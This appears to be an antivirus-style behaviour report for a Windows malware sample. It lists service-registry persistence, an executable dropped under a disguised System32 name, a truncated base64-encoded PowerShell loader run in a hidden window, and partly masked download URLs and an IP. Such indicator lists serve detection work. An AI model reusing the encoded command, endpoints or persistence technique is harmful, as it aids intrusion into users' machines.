Technical Information
- [<HKLM>\System\CurrentControlSet\Services\difxapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\difxapi] 'ImagePath' = '"<SYSTEM32>\SHELL\difxapi.exe"'
- 'difxapi' "<SYSTEM32>\SHELL\difxapi.exe"
- 'difxapi' <SYSTEM32>\SHELL\difxapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe
- <SYSTEM32>\shell\difxapi.exe
- from %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe to <SYSTEM32>\shell\difxapi.exe
- '50.##1.220.50':80
- http://nn##tv.com/newsletter/hDT/
- http://50.##1.220.50/ODX1Ddw7fN6NmPlla/1FAE4piH8Qft9G1dJ/
- DNS ASK nn##tv.com
- '%HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe'
- '<SYSTEM32>\shell\difxapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...' (with hidden window)